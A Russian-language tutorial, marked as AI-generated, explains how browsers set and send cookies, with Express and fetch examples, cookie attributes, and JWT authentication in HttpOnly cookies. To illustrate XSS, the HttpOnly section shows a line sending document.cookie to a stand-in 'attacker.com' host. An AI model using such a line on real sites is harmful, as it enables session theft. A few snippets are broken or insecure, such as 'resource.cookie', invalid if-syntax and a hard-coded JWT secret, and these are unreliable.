Комментарии (1)
Ответ сгенерирован нейросетью и может содержать ошибки
Как cookie ставится в браузере
Cookie — это небольшой текстовый файл, который браузер хранит локально и отправляет на сервер с каждым HTTP запросом для отслеживания сессии пользователя. Это один из основных механизмов веб для сохранения состояния, так как HTTP является stateless протоколом.
Процесс установки Cookie
Шаг 1: Сервер отправляет Set-Cookie header
Когда сервер хочет установить cookie, он отправляет HTTP заголовок Set-Cookie в ответе:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=abc123; Path=/; Domain=example.com; Max-Age=3600
Set-Cookie: user_pref=dark_mode; Path=/; Max-Age=86400
<html>...</html>
Шаг 2: Браузер парсит и сохраняет
Браузер получает ответ, видит Set-Cookie заголовки и:
- Парсит параметры cookie
- Проверяет, действительна ли cookie (domain, path, flags)
- Сохраняет в своё хранилище (обычно база данных)
Шаг 3: Автоматическая отправка при запросах
Все последующие запросы на тот же домен включают cookie в Cookie заголовок:
GET /api/profile HTTP/1.1
Host: example.com
Cookie: session_id=abc123; user_pref=dark_mode
Полный процесс в коде
Backend (Node.js с Express)
const express = require('express');
const app = express();
app.get('/login', (req, res) => {
// Установка cookie
res.cookie('session_id', 'abc123', {
maxAge: 3600000, // 1 час в миллисекундах
httpOnly: true, // Недоступна для JavaScript
secure: true, // Только HTTPS
sameSite: 'Strict', // CSRF защита
path: '/', // Доступна для всех путей
domain: 'example.com' // Доступна только для этого домена
});
res.json({ message: 'Logged in' });
});
app.get('/profile', (req, res) => {
// Браузер автоматически отправит cookie
console.log(req.cookies); // { session_id: 'abc123' }
res.json({ user: 'John' });
});
app.listen(3000);
Frontend (JavaScript)
// Логин — сервер установит cookie
fetch('/api/login', {
method: 'POST',
credentials: 'include' // ВАЖНО: отправляем существующие cookies
})
.then(res => res.json())
.then(data => console.log('Logged in'));
// Следующий запрос — браузер сам отправит cookie
fetch('/api/profile', {
credentials: 'include' // Отправляем cookies
})
.then(res => res.json())
.then(data => console.log(data.user)); // 'John'
Параметры Cookie
Set-Cookie: name=value; Path=/; Domain=example.com; Max-Age=3600; Secure; HttpOnly; SameSite=Strict
↑
cookie
1. Name и Value
// name=value
Set-Cookie: session_id=abc123xyz789
2. Path
Определяет, для каких путей отправляется cookie:
Set-Cookie: admin_token=xyz; Path=/admin
// Отправится на /admin, /admin/users, /admin/settings
// НЕ отправится на /dashboard
Set-Cookie: user_id=123; Path=/
// Отправится на все пути
3. Domain
Для каких доменов действует cookie:
Set-Cookie: user=john; Domain=example.com
// Отправится на example.com, www.example.com, api.example.com
// НЕ отправится на other.com
Set-Cookie: pref=dark; Domain=.example.com
// .example.com означает все поддомены
4. Max-Age и Expires
Когда cookie истекает:
// Max-Age в секундах
Set-Cookie: session=abc; Max-Age=3600
// Удалится через 1 час
// Expires — конкретная дата
Set-Cookie: pref=dark; Expires=Wed, 21 Oct 2025 07:28:00 GMT
// Без Max-Age/Expires — session cookie (удаляется при закрытии браузера)
Set-Cookie: temp=value
5. HttpOnly (КРИТИЧНО для безопасности)
Если установлена, JavaScript не может прочитать cookie:
Set-Cookie: session=abc; HttpOnly
// JavaScript попытка:
document.cookie; // Не увидит session cookie
// Но браузер автоматически отправит на сервер
Это защищает от XSS атак:
// XSS атака (вредоносный скрипт на сайте)
const malicious = document.querySelector('script');
const cookies = document.cookie;
fetch('attacker.com/steal?cookies=' + cookies); // Не будет session cookie
6. Secure
Cookie отправляется только по HTTPS:
Set-Cookie: session=abc; Secure
// Отправится на https://example.com
// НЕ отправится на http://example.com (не защищённый)
7. SameSite
Защита от CSRF (Cross-Site Request Forgery) атак:
// Strict — не отправляется при переходе с других сайтов
Set-Cookie: session=abc; SameSite=Strict
// Lax — отправляется при переходе (GET), но не при форме (POST)
Set-Cookie: session=abc; SameSite=Lax
// None — отправляется везде (требует Secure)
Set-Cookie: tracking=xyz; SameSite=None; Secure
Пример: Аутентификация с JWT в Cookie
// Backend: установка cookie с JWT токеном
app.post('/login', (req, res) => {
const token = jwt.sign({ userId: 1 }, 'secret');
res.cookie('auth_token', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 24 * 60 * 60 * 1000 // 1 день
});
res.json({ message: 'Logged in' });
});
// Middleware для проверки
app.use((req, res, next) => {
const token = req.cookies.auth_token;
if (!token) {
return res.status(401).json({ error: 'Unauthorized' });
}
try {
const decoded = jwt.verify(token, 'secret');
req.userId = decoded.userId;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
});
app.get('/profile', (req, res) => {
res.json({ userId: req.userId });
});
Управление Cookie в JavaScript
// ЧТЕНИЕ (только если не HttpOnly)
const cookies = document.cookie;
console.log(cookies); // "pref=dark; lang=en"
// УСТАНОВКА (только если не HttpOnly)
document.cookie = 'user=john; path=/; max-age=3600';
document.cookie = 'theme=dark; path=/; max-age=86400';
// УДАЛЕНИЕ (установка с Max-Age=0)
document.cookie = 'user=; path=/; max-age=0';
// Парсинг cookies
const parseCookies = () => {
const cookies = {};
document.cookie.split('; ').forEach(cookie => {
const [name, value] = cookie.split('=');
cookies[name] = decodeURIComponent(value);
});
return cookies;
};
const allCookies = parseCookies();
console.log(allCookies); // { pref: 'dark', lang: 'en' }
Cookie vs LocalStorage vs SessionStorage
// Cookie — отправляется на сервер автоматически
resource.cookie = 'session=abc'; // Отправится в каждом запросе
// LocalStorage — НЕ отправляется на сервер
localStorage.setItem('user_pref', 'dark');
// Только доступна в JavaScript, не отправляется
// SessionStorage — как LocalStorage, но удаляется при закрытии вкладки
sessionStorage.setItem('temp_data', '...');
// Когда что использовать?
if (needsSending On Server) {
// Cookie (с HttpOnly для безопасности)
res.cookie('session', token, { httpOnly: true });
} else {
// LocalStorage для персональных данных
localStorage.setItem('theme', 'dark');
}
Security Best Practices
// ПЛОХО: небезопасная cookie
res.cookie('session', token); // Доступна для JavaScript, http allowed
// ХОРОШО: безопасная cookie
res.cookie('session', token, {
httpOnly: true, // JS не может прочитать
secure: true, // Только HTTPS
sameSite: 'Strict', // Защита от CSRF
maxAge: 3600000, // Истекает через 1 час
path: '/',
domain: 'example.com' // Только этот домен
});
Резюме
Как работает cookie:
- Сервер отправляет
Set-Cookieв HTTP ответе - Браузер парсит и сохраняет локально
- При последующих запросах браузер автоматически отправляет
Cookieзаголовок - Сервер прочитывает cookie из запроса
Параметры cookie:
- Name/Value — основное содержимое
- Path, Domain — область действия
- Max-Age, Expires — срок действия
- HttpOnly — защита от XSS
- Secure — только HTTPS
- SameSite — защита от CSRF
Для authentication:
- Храни JWT или session ID в HttpOnly cookie
- Установи Secure и SameSite для безопасности
- Сервер проверяет cookie в middleware